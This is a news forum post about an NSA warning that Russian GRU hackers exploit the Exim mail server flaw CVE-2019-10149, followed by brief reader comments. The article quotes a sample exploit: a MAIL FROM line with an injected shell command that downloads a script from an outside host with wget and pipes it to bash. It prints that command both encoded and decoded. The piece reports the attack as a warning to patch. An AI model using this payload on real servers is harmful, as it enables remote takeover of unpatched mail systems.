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posted by Fnord666 on Saturday May 30 2020, @03:23PM   Printer-friendly
from the patch-your-servers-now! dept.

It's not every day the NSA publicly warns of attacks by Kremlin hackers – so take this critical Exim flaw seriously:

The NSA has raised the alarm over what it says is Russia's active exploitation of a remote-code execution flaw in Exim for which a patch exists.

The American surveillance super-agency said [PDF] on Thursday the Kremlin's military intelligence hackers are actively targeting some systems vulnerable to CVE-2019-10149, a security hole in the widely used Exim mail transfer agent (MTA) that was fixed last June.

Here's a sample of Moscow's exploit code, according to the NSA, which is sent to a vulnerable server to hijack it – we've censored parts of it to avoid tripping any filters:

MAIL FROM:${run{\x2Fbin\x2Fsh\t- c\t\x22exec\x20\x2Fusr\x2Fbin\x2Fwget\x20\x2DO\x20\x2D\x20hxxp\:\x2F\x2F\hostapp.be\x2Fscript1.sh\x20\x7C\x20bash\x22}}@hostapp.be That hexadecimal decodes to: /bin/sh -c "exec /usr/bin/wget -O - hxxp://hostapp.be/script1.sh | bash"

"The Russian actors, part of the General Staff Main Intelligence Directorate's (GRU) Main Center for Special Technologies (GTsST), have used this exploit to add privileged users, disable network security settings, execute additional scripts for further network exploitation; pretty much any attacker's dream access – as long as that network is using an unpatched version of Exim MTA," the NSA said.

In this case, miscreants, linked to the military-backed Sandworm operation, exploit improper validation of the recipient's address in Exim's deliver_message() function in /src/deliver.c to inject and execute a shell command, which downloads and runs another script to commandeer the server. An in-depth technical description of the programming blunder can be found here by Qualys, which found and reported the flaw last year.

Because Exim is widely used on millions of Linux and Unix servers for mail, bugs in the MTA are by nature public-facing and pose an attractive target for hackers of all nations.

The NSA did not say who exactly was being targeted, though we can imagine the Russian military takes an interest in probing foreign government agencies and vital industries. GRU hackers have also previously targeted energy utilities, by some reports.

Previously: 400,000 Servers Using Exim May be at Risk of Serious Code-Execution Attacks


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  • (Score: 0) by Anonymous Coward on Saturday May 30 2020, @07:34PM (2 children)

    by Anonymous Coward on Saturday May 30 2020, @07:34PM (#1001126)

    This is going to primarily apply to individuals and smaller organizations without strong IT security policies and guidelines for application development and deployment pertaining to email.

    But not to those who use sendmail [wikipedia.org] or postfix [wikipedia.org] instead of exim.

  • (Score: 1) by RandomFactor on Saturday May 30 2020, @08:11PM (1 child)

    by RandomFactor (3682) Subscriber Badge on Saturday May 30 2020, @08:11PM (#1001142) Journal

    Ahhh for a business that only used one standard bit of kit globally :-p

    --
    В «Правде» нет известий, в «Известиях» нет правды
    • (Score: 0) by Anonymous Coward on Sunday May 31 2020, @12:12AM

      by Anonymous Coward on Sunday May 31 2020, @12:12AM (#1001227)

      Ahhh for a business that only used one standard bit of kit globally :-p

      In this case, as long as it's not exim [wikipedia.org], it's all good.